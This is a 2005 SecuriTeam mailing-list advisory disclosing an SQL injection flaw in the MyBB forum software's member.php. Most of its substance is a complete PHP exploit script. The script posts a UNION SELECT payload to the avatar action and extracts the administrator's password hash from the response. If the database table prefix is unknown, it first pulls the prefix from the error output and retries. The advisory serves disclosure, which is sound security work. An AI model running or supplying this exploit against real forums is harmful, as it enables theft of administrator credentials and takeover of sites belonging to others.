Date: 5 Jan 2005 16:04:49 +0200
From: SecuriTeam <support@securiteam.com.>
To: [email protected]Subject: [UNIX] MyBB member.php SQL Injection
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
MyBB member.php SQL Injection
------------------------------------------------------------------------
SUMMARY
<http://www.mybboard.com/> MyBB is "a powerful, efficient and free forum
package developed in PHP and MySQL. MyBB has been designed with the end
users in mind, you and your subscribers".
A vulnerability in MyBB's member.php file allows remote attackers to cause
the program to include arbitrary SQL statements into the existing
statement executed by MyBB, which in turn can be used by an attacker to
disclose the administrative password of MyBB.
DETAILS
Exploit:
<?php
// the example below will attack http://www.example.com/mybb/
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');
function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200,
password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");
$query = implode('&', $query);
$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";
$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);
$allah = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);
preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $allah,
$matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}
return $password;
}
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:scottm@spamcop.net.> scottm.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.